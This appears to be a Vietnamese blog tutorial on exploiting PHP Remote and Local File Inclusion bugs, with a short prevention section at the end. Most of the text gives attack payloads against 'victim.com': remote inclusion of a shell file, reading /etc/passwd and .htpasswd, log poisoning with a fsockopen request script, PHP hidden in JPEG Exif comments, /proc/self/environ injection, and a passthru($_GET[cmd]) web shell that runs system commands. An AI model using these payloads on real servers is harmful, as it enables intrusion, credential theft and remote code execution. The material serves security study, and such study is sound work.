Giới thiệu tấn công Remote/Local File Inclusion (PHP)
Để chèn 1 file từ bên ngoài vào trong source chính, chúng ta thường hay sử dụng:
PHP Code:
1
234567?phpinclude("config.php");// hoặc require("config.php");// hoặc include_once ("config.php");// hoặc .,...?>
Quả thật, nếu vấn đề đơn giản, chỉ dừng lại ở đó thì không có gì bận tâm. Nhưng phần nhiều các code lại "vô tâm", include 1 cách vô ý làm chương trình trở nên nguy hại cực kì.
Phổ biến như sau:
PHP Code:
123<?phpinclude($page);?>
Giả sử trường hợp register_global được thiết lập và lúc này chúng ta sẽ thực hiện chèn trên URL với đối số bất kỳ, khi đó đoạn mã sẽ thực hiện include file mà chúng ta chỉ định, nếu không tồn tại thì sẽ báo lỗi nhưng vẫn thực hiện script. Một hàm khác của PHP đó là require hoặc require_once cũng có tác dụng tương tự như include nhưng nếu xuất hiện lỗi thì script sẽ ngừng. Sự khác biệt giữa include_once và include hoặc require_once và require là ở chỗ require_once hay include_once là ngăn chặn việc include hay require 1 file mà nhiều lần.
Kiểm tra file robots.txt của website và thực hiện kiểm tra thử website đó với file robots.txt. Ví dụ victim.com/page=picture.gif để xem cách ứng xử của server về câu truy vấn này.
Có thể sử dụng Google CodeSearch để tìm kiếm các lỗi về File Inclusion bằng biểu thức chính qui như sau :
http://www.google.com/codesearch
lang: php (include|require)(_once)?\s*[‘”(]?\s*\$_(GET|POST|COOKIE)
2. Cách khai thác:
2.1. null byte:
PHP Code:
12345<?phpif (isset($_GET['page'])){include($_GET['page'].".php");}?>
2.2. Remote File Include
Nếu trong cấu hình của file php.ini mà allow_url_open=On và allow_url_include=On thì có thể thực hiện gộp file từ xa và trong nội dung file từ xa này có thể chứa các mã độc. Ví dụ
http://victim.com/index.php?page=htt....net/shell.txt
2.3. Local File Inclusion[/B]
Trường hợp mà allow_url_fopen =Off thì chúng ta không thể khai thác thông qua url từ xa, lúc này khai thác sẽ dựa trên local file inclusion. Khai thác local file cho phép chúng ta đọc các file nhạy cảm trên server, ví dụ như là /etc/passwd, /etc/group, httpd.conf, .htaccess, .htpasswd hoặc bất kỳ file cấu hình quan trọng nào.
Ví dụ như có được thông tin từ /etc/passwd, kẻ tấn công có thể biết được các username có trên server và thực hiện bruteforce, nếu kẻ tấn công có khả năng truy cập shadow thì nguy hiểm hơn nhưng /etc/shadow thì chỉ có root mới có khả năng truy cập và đọc được file này.
Ví dụ một số file nhạy cảm mà kẻ tấn công luôn muốn truy cập
a. httpd.conf: Thực hiện đọc file này để có được thông tin về error_log, access_log, ServerName, DocumentRoot, …
b. .htaccess và .htpasswd: Giả sử có một thư mục admin được bảo vệ bởi htaccess thì chúng ta không thể truy cập được các file .htaccess và .htpasswd trực tiếp, nhưng nếu bị lỗi local file inclusion thì có thể đọc và có được thông tin về username và password được thiết đặt ở trong những file này.
c. Khai thác cục bộ
Giả sử có nhiều website trên một server, nếu như site example1.com bị lỗi local file inclusion. Kẻ tấn công ở vị trí là website với domain là example2.com cũng cùng một server với example1.com thì có thể khai thác site example1.com này thông qua như sau:
http://victim.com/index.php?page=/ho...images/php.jpg
d. Khai thác sử dụng Log Files
Chuyện gì sẽ xảy ra nếu chúng ta đệ trình với URL như sau
Code:
http://victim.com/index.php?page=<? echo phpinfo(); ?>
Tất nhiên site sẽ thông báo lỗi bởi vì file
Code:
<? echo phpinfo(); ?>
- - [15/Jul/2009
54:01
+0700] "GET /index.php?page=%3C?%20echo%20phpinfo();%20?%3E HTTP/1.1"
200 492 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1)
Gecko/20090624 Firefox/3.5" Như vậy trong file log đã encode URL mà chúng ta đệ trình, do vậy chúng ta cần phải gửi request với đoạn code sau:
PHP Code:
12345678910111213<?php $res = ''; $fp = fsockopen('127.0.0.1', 80); if(!$fp){ echo "No connection"; } fputs($fp, "GET /index.php?page=<?php echo phpinfo();?> HTTP/1.1\r\n"); fputs($fp, "Host: 127.0.0.1\r\n\r\n"); while(!feof($fp)){ $res .= fgets($fp, 128); } echo $res;
?>
Code:
http://victim.com/index.php?page=<đường dẫn đến file log>
e. Đặt PHP Script trong file JPEG
Trong file jpg thì có phần Exif là phần đầu của file ảnh JPEG, mà nó ghi thông tin về, độ phân giải, ngày tạo, comment, … chúng ta có thể thực hiện chèn PHP script vào phần comment của file JPEG bằng công cụ jhead như sau:
./jhead –ce hack.jpg,
nó sở mở vi cho chúng ta soạn thảo phần comment cho file JPEG, ở đây ta lưu comment với nội dung là <? phpinfo(); ?>. Và thực hiện upload ảnh lên server, nếu như server đó bị lỗi local file inclusion thì có thể thực hiện http://www.victim.com/index.php?page=hack.jpg, khi đó mã PHP trong hack.jpg sẽ thực thi.
f. Lỗi trong khi sử dụng các script để lưu log
Ví dụ một đoạn mã sau lưu tấn công SQL Injection
PHP Code:
123456789101112<?php $REQ = print_r($_REQUEST,true); $ip = 'IP: '.$_SERVER['REMOTE_ADDR']; $time = 'Date: '.date("d.m.y - H:i:s"); $ref = 'Referer: '.$_SERVER['HTTP_REFERER']; $browser = 'Browser: '.$_SERVER['HTTP_USER_AGENT']; if(eregi('UNION',$REQ) && eregi('SELECT',$REQ)){ $fp = fopen("attacks.txt","a+"); fwrite($fp,"$REQ\n $ip\n $time\n $browser\n $ref\n"); fclose($fp); header('Location: http://www.google.com'); }
UNION <? phpinfo(); ?>. Khi đó trong file log sẽ chứa thông tin về Reference và lúc này nếu server bị lỗi local file inclusion sẽ thực hiện được đoạn mã PHP với đệ trình sau:
http://victim.com/index.php?page=attack.txt
g. Thực hiện PHP Code trong file /proc
Mỗi tiến trình có một file trong thư mục /proc mà dùng để giao tiếp giữa kernel và user, tương ứng với mỗi thư mục mang số hiệu PID của mỗi tiến trình sẽ lưu thông tin về mỗi tiến trình mà nó thực hiện. Và có một file /proc/self/environ lưu thông tin về cấu hình mà nó đang hiện hành thực thi trên file mà không cần quan tâm PID. Do vậy nếu sử dụng Firefox để mở thì nó sẽ hiển thị thông tin liên quan đến Browser như là HTTP_USER_AGENT và HTTP_REFERER. Khi đó nếu website bị lỗi thì có thể thực hiện thiết đặt có chứa mã PHP và thực hiện gộp file để thực thi mã PHP
http://victim.com/index.php?page=/proc/self/environ
3. PHÒNG CHỐNG
Sử dụng hàm file_get_contents thay vì include đối với log bởi vì lúc này nó chỉ đọc nội dung của file mà không thực thi ngay cả đối với file php. Vô hiệu hóa hàm eval() trong PHP. Kiểm soát việc sử dụng require và include. Sử dụng đường dẫn tuyệt đối hơn là sử dụng .. hoặc / . Thiết đặt allow_url_fopen=off để chống RFI khi đó hàm file_get_contents cũng vô hiệu hóa theo đối với phiên bản PHP cũ < 5.2.0. Nếu sử dụng PHP 5.2.0 thì thiết đặt allow_url_open=on nhưng allow_url_include=off, và thiết đặt register_global=off và thậm chí thiết lập display_errors=off
Bổ xung thêm trong cách Khai thác sử dụng Log files Chuyển từ Local File Inclusion sang Remote Code Execution
Thay vì:
http://victim.com/index.php?page=<? echo phpinfo(); ?>
Chúng ta sử dụng:
PHP Code:
1<? passthru($_GET[cmd]) ?>
- - [15/Jul/2009
54:01
+0700] "GET /demo/index.php?page=<? passthru($_GET[cmd]) ?>
HTTP/1.1" 200 492 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.9.1) Gecko/20090624 Firefox/3.5" Truy vấn đến log file theo URL:
http://victim.com/demo/index.php?page=<đường dẫn đến file log
Sẽ có thông báo lỗi:
Warning: passthru() [function.passthru]:
Cannot execute a blank command in /path/to/logfile.log on line xxx
Bây giờ có thể chạy lệnh như sau:
http://victim.com/demo/index.php?pag....log&cmd=ls -la
Không có nhận xét nào:
Đăng nhận xét